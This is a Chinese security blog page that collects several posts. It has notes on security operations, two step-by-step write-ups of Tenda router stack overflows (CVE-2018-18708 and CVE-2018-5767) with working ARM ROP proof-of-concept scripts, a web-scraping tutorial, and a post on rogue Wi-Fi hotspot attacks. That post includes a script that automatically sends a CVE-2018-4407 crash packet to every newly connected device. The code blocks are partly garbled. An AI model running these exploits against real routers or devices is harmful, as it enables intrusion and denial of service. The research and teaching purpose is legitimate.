YYF's Blog

  • Home

  • About

  • Tags

  • Categories

  • Archives

yyf学习笔记(一):安全运营

Posted on 2020-08-30 | In 杂谈

一个领域20%的核心内容能解决该领域80%的问题,而如何找到这20%的核心就需要该领域的专家来指点。

本系列文章是我对不熟悉领域的学习笔记,首要动机是通过对外分享的“负重感”给自己一些动力,其次以笔记的形式对知识内容进行结构化总结,便于大脑归档记忆。

本期学习的目标是来自lake2前不久分享的一篇文章《小步快跑,快速迭代:安全运营的器术法道》。


文章开始,作者指出在安全运营领域内存在一个广泛的误区: 在进行安全体系建设工作时,人们偏向于去研发新系统,因为这样工作的成果更容易被“看见”。而现实并不存在着能一劳永逸解决问题的系统/新技术,还需要配合安全运营的工作进行迭代优化,才能逐步真正解决安全问题。

因此,作者抛出了一个观点:“安全系统研发完成投入使用是解决了从无到有的问题,是万里长征第一步,而之后的安全运营工作才是从有到优的不断升级之路”。

随后,正文就“安全运营是什么”、“如何衡量安全运营工作的好坏”、“安全运营的方法论与实践”三方面进行展开探讨。

1.安全运营是什么

作者认为,安全运营实际上就是“使用系统、发现问题、解决问题”。通过使用安全系统,在过程中发现系统和策略的问题,分析问题迭代优化,最终达成完美解决安全问题的目标。

作者还强调到:安全运营是一个“三分技术、七分管控”的活,很多时候问题并不单是技术问题,还可能是工程问题、沟通问题、合作问题和推动问题。

2.如何衡量安全运营工作的好坏

作者认为要做好安全运营工作至少得保证:

  • 有衡量指标,如系统覆盖率(安全系统对被保护对象的覆盖比率)、策略漏报率/误报率等。
  • 需要通过实战检验真实的防护能力。
  • 做好数据运营分析,利用漏洞/安全事件进行复盘,持续迭代优化安全系统。

3.安全运营的方法论和实践

在这一部分,作者从自身的经历和理解出发,总结出了一些安全运营方法论。我将之浓缩如下:

  • 关注落地,解决实际问题
  • 抓大放小,抓准主要矛盾
  • 控制增量,先增量后存量
  • 原生安全,出厂默认安全
  • 灰度放量,策略灰度发布
  • 群策群力,协同业务参与
  • 借力复盘,观外例审自身
  • 不断学习,紧跟技术发展
  • 纵深防御,策略多维设防
  • 关注未知,保持敬畏之心

CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

Posted on 2020-05-04 | Edited on 2020-08-30 | In 技术

首发于:https://www.anquanke.com/post/id/204403

摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法。

假设读者:了解ARM指令集基础知识、了解栈溢出原理和利用方法、了解通过IDA和GDB进行静态分析与动态跟踪的方法。

阅读本文后:可以了解逆向数据流跟踪的思路与方法

1. 漏洞概要

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
-w850

对于该漏洞,并未搜索到现有的漏洞分析文章,漏洞提交者仅通过上图指出漏洞所在的地方,剩下的如何触发利用就需要我们来跟踪分析了。

测试环境:Kali 2020 5.4.0-kali3-amd64
固件下载地址:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip

2. 固件模拟

qemu模拟运行bin/httpd文件时,sub_2E420函数中会检测网络,需要在下图标号1和标号2处对返回值进行patch进行绕过。


同时添加并配置虚拟网桥br0,如此就能跑起来了。
-w776

3. 跟踪与分析

分析一般有两种思路:

  • 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑。
  • 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。

因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪的方式。根据图中的字符串,检索到代码位于sub_c24C0中。

3.1 梳理函数调用关系

在我们之前解决网络问题时程序已经执行到了sub_2E420函数,而溢出点位于sub_c24C0函数。因此我们将这中间的函数调用过程都梳理出来:

1
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420

3.2 跟踪参数来源

跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
(1)源地址s来源于sub_C24C0的a1参数

1
2
3
4
5
6
7
8
9
sub_C24C0(a1,a2){
dest = a2
s = a1
src = a1中的'\r'位置
if (src){
strcpy(dest +32, s)
strcpy(dest, src)
}
}

(2)sub_C24C0的a1参数来源于sub_C17A0的a2参数

1
2
3
4
5
sub_C17A0(a1, a2, a3){
v5=a2
v21为本地变量 160字节
sub_C24C0(v5, v21)
}

(3)sub_C17A0的a2参数来源于sub_C14DC的a2参数

1
2
3
4
5
sub_C14DC(a1, a2){
s = a2
if(*s){
sub_C17A0(v4, s, v16)
}

(4)sub_C14DC的a2参数来源于formSetMacFilterCfg函数的v39

1
2
3
4
5
6
7
8
formSetMacFilterCfg(){
v40 = sub_2BA8C(v3, "macFilterType", &unk_F5124)
v41 = sub_C10D0(V40)
if (not v41){
v39 = sub_2BA8C(v3, "deviceList", &unk_F5124)
sub_C14DC(v40, v39)
}
}

变量v39是

"deviceList", &unk_F5124)```函数的返回值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。
### 3.3 路径中的分支跳转条件
之前得到了函数调用关系:
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420

我们需要对路径中的分支跳转判断条件一一满足,这里配合使用IDA的Graph视图、反编译和GDB动态调试来完成分析。

(1)sub_2E9EC <- sub_2E420
网络检测后,无分支。
(2)sub_42378 <- sub_2E9EC
有分支判断,但已经满足。

(3)formSetMacfiltercfg <- sub_42378
![](/images/15886748722712.jpg)
如上图,该函数中有对不同功能的处理函数。显然请求到指定路径,会调用相应的处理函数,我们得找到执行formSetMacfiltercfg函数的路径。

在函数中没有找到url路径相关的信息,翻了下固件文件系统,发现了```webroot_ro/goform/setMacFilterCfg.txt```文件。

通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。

(4)sub_C14DC <- formSetMacfiltercfg
![](/images/15886764409149.jpg)
如上图,需要让v41=0,而v41来自于sub_C10D0函数对macFilterType的参数的处理。

我们进入sub_C10D0函数看看macFilterType需要如何设置,反编译后代码逻辑还是很清晰的,只需要v3等于“black”或“white”即可返回0,如下图所示。
![](/images/15886496980438.jpg)

进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。

data = {“macFilterType”: “white”, “deviceList”: payload}

1
2
3
4
5
6
7
8
9
10
11
(5)sub_C17A0 <- sub_C14DC
有分支判断,但条件已满足。
(6)sub_C24C0 <- sub_C17A0
有分支判断,但条件已满足。
(7)sub_C24C0
如下图所示,检测deviceList内容是否包含'\r',随后进入分支执行漏洞代码。
![](/images/15886823208317.jpg)


### 3.4 溢出触发测试
根据上一节的分析,我们整理处HTTP POST的请求内容。

import requests

url = “http://192.168.2.111/goform/setMacFilterCfg"
cookie = {“Cookie”:”password=12345”}
data = {“macFilterType”: “white”, “deviceList”: “\r”+ “A”*500}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
发送后,gdb得到预想中的报错信息,返回地址被覆盖。
![-w558](/images/15886630039130.jpg)

## 4.漏洞利用
(1)寻找偏移量
利用cyclic找到偏移量
![-w703](/images/15886634147044.jpg)

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。

![-w354](/images/15886635848371.jpg)

(2)确定利用方案
使用checksec检查二进制文件的保护措施,开启了NX保护,选择用ROP绕过。
![-w769](/images/15886640578587.jpg)


(3)构造ROP Chain
获取libc.so基地址。
![-w978](/images/15886639444818.jpg)
获取system函数偏移量。
![-w771](/images/15886698544187.jpg)
寻找gadets。

ROPgadget –binary ./lib/libc.so.0 | grep “mov r0, sp”
0x00040cb8 : mov r0, sp ; blx r3

ROPgadget –binary ./lib/libc.so.0 –only “pop”| grep r3
0x00018298 : pop {r3, pc}

1
最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:

import requests
from pwn import *

cmd=”echo hello”
libc_base = 0xff58c000
system_offset = 0x5a270
gadget1_offset = 0x18298
gadget2_offset = 0x40cb8
system_addr = libc_base + system_offset
gadget1 = libc_base + gadget1_offset
gadget2 = libc_base + gadget2_offset

payload = “A”*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = “http://192.168.2.111/goform/setMacFilterCfg"
cookie = {“Cookie”:”password=12345”}
data = {“macFilterType”: “white”, “deviceList”: “\r”+payload}
requests.post(url, cookies=cookie, data=data)
`

查看程序的打印信息,cmd中的echo指令已经被执行。
-w317

PS:中间有些细节省略掉了,只给出了关键步奏。如果看不明白,可以参考之前写的文章《写给初学者的实战教程之ARM栈溢出》,分析的是同一款路由器的其他漏洞。

##参考

https://github.com/ZIllR0/Routers/blob/master/Tenda/stack1.md
https://www.anquanke.com/vul/id/1375399

写给初学者的实战教程之ARM栈溢出

Posted on 2020-05-04 | Edited on 2020-08-30 | In 技术

首发于:https://www.anquanke.com/post/id/204326

本文面向入门IoT固件分析的安全研究员,以一款ARM路由器漏洞为例详细阐述了分析过程中思路判断,以便读者复现及对相关知识的查漏补缺。

假设读者:了解ARM指令集基础知识、了解栈溢出原理和基础利用方法、了解IDA、GDB基础使用方法,但缺少实战漏洞分析经验。

阅读本文后:

  1. 可以知道IoT固件仿真的基础方法及排错思路。
  2. 可以知道在获取溢出偏移量时,Thumb模式对PC写入值的影响。
  3. 可以知道对ARM架构栈溢出的ROP利用方法和调试方法。

为方便大家学习复现,会尽量将过程中的每一个分析思路进行阐述。

##1.实验目标概述
为了便于实验,选择一个可以模拟的路由器固件:Tenda AC15 15.03.1.16_multi。分析的漏洞为CVE-2018-5767,是一个输入验证漏洞,远程攻击者可借助COOKIE包头中特制的‘password’参数利用该漏洞执行代码。

测试环境:Kali 2020 5.4.0-kali3-amd64
固件下载地址:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip

##2.固件仿真
首先使用binwalk导出固件文件系统,并通过ELF文件的头信息判断架构,得知为32位小端ARM。

1
2
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
readelf -h bin/busybox

-w675

使用对应的qemu程序(qemu-arm-static),配合chroot启动待分析的目标文件bin/httpd。

1
2
3
4
5
#安装qemu和arm的动态链接库
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .

sudo chroot ./ ./qemu-arm-static ./bin/httpd

此时发现卡在了如下图的显示,同时检查80端口也并未开启。

根据打印的信息“/bin/sh: can’t create /proc/sys/kernel/core_pattern: nonexistent directory”,创建相应目录

-p ./proc/sys/kernel```。同时在ida中通过Strings视图搜索“Welcome to”字符串,通过交叉引用找到程序执行的上下文。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19


![](//images//15883515565859.jpg)
可以看到有不同的分支方向,简单分析梳理一下分支的判断条件。在上图中的标号1处,执行check_network函数后会检测返回值(保存在R0中),小于等于零时将执行左侧分支。可以观察到会进行sleep并跳回loc_2CF84形成一个循环。

可以猜测因为模拟环境某些元素的缺失导致了检测失败。此处我们对程序进行patch,将其中的比较的指令```MOV R3, R0```修改为```MOV R3, 1```,从而强制让程序进入右侧分支。

借用rasm2工具翻译汇编指令到机器指令,通过IDA原始功能修改即可(展开Edit-Patch program-Change byte进行修改)。
![](/images/15883517902317.jpg)
![](/images/15883518542967.jpg)

此时运行程序会发现还是会卡住,继续观察上下文代码段,发现在下图中的标号2处对ConnectCfm函数返回值也进行了判断。采取同样的套路进行patch,这里不再赘述。
![](/images/15883519333237.jpg)

修改完好保存patch文件(展开Edit-Patch program-Apply patches to input file),并再次运行程序。
![](/images/15883519955744.jpg)
![](/images/15883520549621.jpg)

可以看到程序打印显示正在监听80端口,但ip地址不对。此时需要我们配置下网络,建立一个虚拟网桥br0,并再次运行程序。

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0

1
2
3
4
5
6
7
8
9
10
11
12
13
![](/images/15883520811762.jpg)
此时,IP为本机的真实地址,实验环境就配好了。

##3.漏洞分析
根据CVE的描述以及公开POC的信息,得知溢出点在R7WebsSecurityHandler函数中。ida可以直接按f5反编译arm架构的代码。
![](/images/15883526225395.jpg)
分析后得知,程序首先找到“password=”字符串的位置,通过sscanf函数解析从“=”号到“;”号中间的内容写入v35。这里没有对用户可控的输入进行过滤,从而有机会覆盖堆栈劫持程序流。

为了让程序执行到此处,我们得满足前面的分支条件,见下图:
![](/images/15883528087293.jpg)
我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行。

现在进行简单的溢出尝试,开启调试运行程序```sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd```,并另开终端用gdb连上远程调试。

gdb-multarch ./bin/httpd
target remote :1234
continue

1
使用python requests库来构造HTTP请求,代码如下:

import requests
url = “http://192.168.2.108/goform/xxx"
cookie = {“Cookie”:”password=”+”A”*1000}
requests.get(url=url, cookies=cookie)

1
2
3
4
5
6
7
8
9
10
11
HTTP请求发送后,gdb捕捉到错误。如下图所示,有几项寄存器被写入了“AAAA“。但仔细一看出错的地方并不是函数返回处,而是一个“从不存在的地址取值”造成的报错,这样目前就只能造成拒绝服务,而不能执行命令。
![](/images/15883530334030.jpg)

gdb输入```bt```查看调用路径,跟踪0x0002c5cc,发现位于sub_2C568函数中,而该函数在我们缓冲区溢出后将被执行。
![](/images/15883531927658.jpg)

整理一下,我们想要缓冲区溢出后函数返回以劫持程序流,但现在被中间一个子函数卡住了。观察从溢出点到该子函数中间的这段代码,发现有个机会可以直接跳转到函数末尾。
![](/images/15883534184475.jpg)
如上图中的if语句,只要内容为flase就可以达到目的。这段代码寻找“.”号的地址,并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时,```memcmp(v44, "png", 3u)```的返回值为0,if语句将失败。

而这段字符串的读取地址正好位于我们溢出覆盖的栈空间中,所以在payload的尾部部分加入该内容即可。于此同时,我们使用cyclic来帮助判断到返回地址处的偏移量。

import requests
url = “http://192.168.2.108/goform/xxx"
cookie = {“Cookie”:”password=”+”aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae”+ “.png”}
requests.get(url=url, cookies=cookie)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
崩溃信息如下图所示。
![-w756](/images/15883986519075.jpg)

*需要特别注意*,崩溃的返回地址显示是0x6561616c('laae'),我们还需要观察CPSR寄存器的T位进行判断,CPSR寄存器的标志位如下图所示。
![](/images/15884026944920.jpg)

这里涉及到ARM模式(LSB=0)和Thumb模式(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行```p/t $cpsr```以二进制格式显示CPSR寄存器。如下图所示,发现T位值为1,因此需要在之前报错的地址上加一还原为0x6561616f('maae')。
![-w362](/images/15884029131826.jpg)

在我看到的几篇该漏洞分析文章都忽略了这一点导致得到错误偏移量。我们可以在函数最后返回的pop指令处(0x2ed18)下断点进行辅助判断。如下图所示,可以看到PC原本将被赋值为“maae”。因此偏移量为448。
![](/images/15883537939960.jpg)


##4.漏洞利用

![](/images/15883540111929.jpg)
如上图所示,用checksec检查发现程序开启了NX保护,无法直接执行栈中的shellcode,我们使用ROP技术来绕过NX。

大多数程序都会加载使用libc.so动态库中的函数,因此可以利用libc.so中的system函数和一些指令片断(通常称为gadget)来共同实现代码执行。需要以下信息:
1. 将system函数地址写入某寄存器的gadget;
2. 往R0寄存器存入内容(即system函数的参数),并跳转到system函数地址的gadget;
3. libc.so的基地址;
4. system函数在libc中的偏移地址;

这里我们假设关闭了ASLR,libc.so基地址不会发生变化。通过gdb中执行```vmmap```查看当前libc.so的加载地址(带执行权限的那一项,注意该值在每台机器上可能都不同,我的为0xff5d5000),如下图:
![](/images/15883546069647.jpg)

system函数的偏移地址读取libc.so文件的符号表,命令为:```readelf -s ./lib/libc.so.0 | grep system```,得到0x0005a270。
![](/images/15883546788895.jpg)

接着寻找控制R0的指令片断:

sudo pip3 install ropgadget

ROPgadget –binary ./lib/libc.so.0 | grep “mov r0, sp”
0x00040cb8 : mov r0, sp ; blx r3

1
这条指令会将栈顶写入R0,并跳转到R3寄存器中的地址。因此再找一条可以写R3的指令即可:

ROPgadget –binary ./lib/libc.so.0 –only “pop”| grep r3
0x00018298 : pop {r3, pc}

1
2
3
4
5
6
最终payload格式为:[offset, gadget1, system_addr, gadget2, cmd] ,流程如下:
1. 溢出处函数返回跳转到第一个gadget1(pop {r3, pc});
2. 栈顶第一个元素(system_addr)弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
3. 此时的栈顶内容(cmd)放入R0寄存器,并使程序跳转到R3寄存器指向的地址去执行。

整理得到以下POC:

import requests
from pwn import *

cmd=”echo hello”
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8

#444个“A”和“.png”组成偏移量448
payload = “A”*444 +”.png” + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = “http://192.168.2.108/goform/xxx"
cookie = {“Cookie”:”password=”+payload}
requests.get(url=url, cookies=cookie)
我们可以在gadget2中将要跳转到system函数时设下断点,观察寄存器的状态。如下图所示,R0中内容为“echo hello”作为参数,R3中保存有system函数的地址,当前指令执行后将执行system(“echo hello”)`。
-w623

继续运行将看到命令被执行。
-w542

##参考

  1. https://xz.aliyun.com/t/7357
  2. https://wzt.ac.cn/2019/03/19/CVE-2018-5767/#&gid=1&pid=12
  3. https://www.freebuf.com/articles/wireless/166869.html
  4. https://www.exploit-db.com/exploits/44253

三步学会爬动态网站

Posted on 2019-04-01 | Edited on 2020-08-30 | In 技术

在我们写爬虫程序时,难免会碰到一些动态加载的网页,为获取数据制造了困难。本篇文章我将尝试用非常简短的篇幅来教大家:如何应对动态加载的网页。

以Ruby语言为例,可以在Linux、Mac、Windows等平台上进行实验。

1.目标分析

目标:收集目标网站上公开的所有产品型号

所有的产品通过类型进行分类,如下所示:

当点击某个分类后,出现具体的产品信息:

需要注意的是,这部分产品信息是通过解析参数后动态加载的,这是本篇要解决的主要问题:

2.Nokogiri

https://nokogiri.org/
Nokogiri是一个用于解析HTML, XML, SAX等内容的开源Ruby库,可以通过XPath和CSS选择器语法来操作内容。

安装:

1
2
apt install ruby
gem install nokogiri

通过简单分析,各分类的url位于以下结构中:

1
2
3
4
5
<ul class="header-subnav-list">
<li>
<a></a>
<</li>
</ul>

由于这些内容在网站中是静态的,我们直接使用open-uri打开目标网页,配合Nokogiri来获取各分类的url:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#irb是Ruby的交互式shell,
root@bad:~# irb

require 'nokogiri'
require 'open-uri'

#获取目标网站HTML代码
doc=Nokogiri::HTML(open("http://www.xxxx.com"))

#通过xpath选择器获取目标内容
ar=doc.xpath("//ul[@class='header-subnav-list']//li//a")

href = []
ar.each {|a| href << a["href"]}

查看一下获取的列表:

前面提到,分类里边的产品列表由Javascript动态加载,这时候我们可以使用Watir来获取动态内容。

3.Watir

http://watir.com/

Waitr是一个用于自动化测试的开源Ruby库。Watir将使用跟真人一样的浏览器交互方式来点击链接,填写表单和验证文本。可以配合Chrome、Firefox、IE、Safari、Edge等。

以Chrome为例,除了安装Waitr外,还需要安装chromedriver:

1
2
3
4
gem install watir
apt install chromium-driver

#其他平台可参考https://github.com/SeleniumHQ/selenium/wiki/ChromeDriver

当我们使用Watir访问目标网站时,会出现一个受代码控制的Chrome窗口。(不要用鼠标去操作或者关掉它!!)

由于浏览器加载内容需要一些时间,所以我们适当增加一些休眠时间确保内容加载完成。通过Watir获取了每个页面的内容后,再次通过nokogiri进行获取即可。

1
2
3
4
5
6
7
8
9
#接着上面的代码
require 'watir'

browser = Watir::Browser.new
browser.goto "http://www.xxxx.com#{href[2]}"
sleep(1)
doc=Nokogiri::HTML(browser.html)
ar=doc.xpath("//div[@class='product-list']//ul//li//a//div//span")
ar.each {|a| p a.content if a.content != '' }

可以适当输出一些中间内容,方便在出错时调试。

声明

请尽量通过公开数据进行练习,减缓爬取速度和数量。本篇文章仅用于教学演示,不为学员的任何非法使用进行负责。
(完)

有VPN保护就可以随意连接公共热点?大错特错

Posted on 2019-02-14 | Edited on 2020-08-30 | In 技术

1. 背景

提到公共热点、钓鱼热点或恶意热点,我们通常会提到可能存在攻击者在嗅探网络流量中的敏感信息,或者结合DNS劫持打造一个高仿真的钓鱼环境,给用户造成安全威胁。

许多安全从业者在接受采访或咨询时,会推荐在不安全的无线环境中开启VPN。目前国内许多手机应用还提供了免费的VPN功能,作为抵御恶意热点的安全解决方案来吸引用户下载安装。

然而许多产品在对外宣传描述时,存在描述过度或断章取义的情况,不自觉的去掉了限制条件,于是许多用户现在产生了这样的错觉:“只要使用VPN,就能抵御恶意热点中的一切攻击,随意连接WiFi热点也没关系了。”

随意搜了一下,在许多媒体文章中都是这个论调:

  • “专家认为,通过VPN来连接WiFi是非常安全的。”
  • “用户只需在移动端开启VPN,填入用户名和密码,就可以安心的在公共WiFi网络中上网了。”

这些描述都是不准确的,使用VPN的确能保护好设备的网络流量,但在恶意热点环境中的攻击威胁远不止如此。

通常,一个用户在连接公共热点时,往往通过如下步骤:

  1. 打开无线功能,选择并连接到目标热点。
  2. 通常需要通过Captive Portal强制门户页面进行认证获取网络权限。
  3. 获取到网络权限后,有安全意识的用户会开启VPN保护流量。

后文我将以实例说明,假设我是一名恶意热点搭建者,面对这些打算使用VPN进行保护的用户,我可以从哪些方面对他们造成威胁。

2.攻击威胁

2.1 系统层面的漏洞

最具影响力的便是操作系统本身的漏洞,对没有及时更新修复漏洞的设备来说是通杀的效果。

1)缓冲区溢出漏洞 CVE-2018-4407

CVE-2018-4407是安全研究员Kevin Backhouse 发现的XNU系统内核中的堆缓冲区溢出漏洞,攻击者可能利用缓冲区溢出进行远程代码执行。由于iOS和macOS都使用XNU,因此iPhone、iPad和MacBook均受到影响。

影响范围:

  • Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
  • Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备
  • Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备
  • Apple OS X El Capitan及更早版本:所有设备

Kevin在推特中给出了PoC和演示视频,利用该漏洞可以使得同一局域网下的Macbook和iPhone设备崩溃。

可以通过scapy工具来发送数据触发该漏洞:

1
2
3
from scapy.all import *

send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

如果我们是一个钓鱼热点攻击者,想达到“自动”的效果很简单,定时监听当前网络活跃主机向其发送攻击代码即可。

假设使用了dnsmasq程序提供DHCP和DNS服务,dhcp池文件保存在‘/var/lib/misc/dnsmasq.leases’文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os, time
from scapy.all import *

lines_old = 0
lines_new = 0
while 1:
lines_old = lines_new
if os.path.exists('/var/lib/misc/dnsmasq.leases'):
f = open('/var/lib/misc/dnsmasq.leases', 'r').readlines()
lines_new = len(f)
if lines_new > lines_old:
for i in range(lines_old, lines_new):
value = f[i].split()
if len(value) == 5:
print value[2] + ' ' + value[1] + ' ' + value[3] + ' Connect!'

for i in range(3):
#For Apple devices(CVE-2018-4407)
send(IP(dst=value[2],options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
time.sleep(1)
time.sleep(3)

该段代码的作用是:每3秒读取一次dhcp文件,如果发现新的主机,生成exploit发向该设备。

如果这些苹果设备没有及时更新到漏洞修复的版本,就会出现如下图所示的崩溃效果:

2)永恒之蓝

永恒之蓝(EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织Shadow Brokers泄漏。该工具利用TCP445 port上的文件共享协议漏洞进行散播。

尽管微软于2017年3月14日发布操作系统补丁修补了这个漏洞,5月12日WannaCry勒索软件利用这个漏洞传播时,很多Windows用户仍然没有安装补丁,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝大家都很熟悉,就不继续详细说明了。对于热点网络中没有修复漏洞的Windows设备,我们已经可以获取到系统最高权限。

2.2 软件应用上的漏洞

除了操作系统本身外,我们安装的各类软件应用会开放一些服务,如果它们存在安全缺陷也会成为一个攻击点,比如前两天爆出的ES文件管理器的安全问题。

研究人员发现ES文件管理器启动后会创建本地HTTP服务器,在其所有后台服务被结束前该服务器始终开启,处于相同网络的任意用户可直接向安装 ES 管理器的设备发起攻击。

所以,当连入恶意热点的Android客户端后台开启了含有漏洞的ES文件浏览器时,我们甚至可以直接从设备上获取照片、视频、文档了。

顺便提一句,官方已经完成修复并上架应用市场,Android用户看到这记得升级一下。

2.3 利用Captive Portal进行钓鱼

如果无线客户端本身不存在漏洞,我们还可以利用Captive Portal来进行一些攻击。

前面提到用户在开启VPN前,需要经过Captive Portal强制门户的认证,大部分无线设备都会自动出来一个弹窗,如下图所示。

在打开的网页中,通常通过账号密码、手机验证码、微信认证等形式进行认证来开通网络权限,否者是没网的。

攻击者同样可以在恶意热点上实现Captive Portal认证,并自定义Portal主页对用户进行欺骗钓鱼,比如假言需要在表单中填入个人信息来换取免费使用网络,如下图所示。

简单来说,这利用了在开启VPN前,需要通过Portal页面开通网络权限的间歇进行了钓鱼攻击。

2.4 进一步利用Portal

在Pwn2own 2018上,有许多通过浏览器发起的攻击都利用到了WiFi Captive Portal的特性进行自动触发。

我们来仔细看看这个Portal浏览器,它与正常的系统浏览器是不一样的,出于安全考虑它并没有包含所有功能,比如Cookie、下载等功能都被限制了,但在部分手机系统上是支持URL Scheme的。

<scheme>://<host>:<port>/<path>?<query>

URL Scheme是iOS和Android提供给开发者的一种APP跳转方式。Android应用在Mainfest中注册自己的Scheme,iOS应用在APP属性中配置。配置完成后,就可以通过url的形式唤醒APP。比如可以利用这个技术,在Portal浏览器中调用微信进行认证。

后来我认真想了想,怎么滥用这个特性。

  1. 连接WiFi自动打开商品淘宝页
    portal_taobao

  2. 2019最新乞讨方式
    portal_alipay

后来发现三星已经发现并修复了这个利用Captive Portal自动重定向到第三方应用的问题(SVE-2018-13474)。

我就想着给自己用来测试的miui也提一个,正好他们也有SRC。结果被忽略了,因为他们觉得不属于miui的问题。

好吧。

3.总结

虽然我们的终端设备通常不会直接暴露在互联网上遭到攻击,但很难确保在各类无线网络中是否存在潜藏着的攻击者。

这篇文章想表达三个重点:

  1. VPN并不是公共热点的万能保护福,它能保护网络流量,但还可能遭到其他形式的攻击。
  2. 请对所有热点采取默认不信任态度,尽量不连接公共热点。
  3. 及时进行系统、软件的更新,确保对各类安全缺陷的修复。

qingxp9

5 posts
2 categories
7 tags
RSS
© 2021 qingxp9
Theme – NexT.Gemini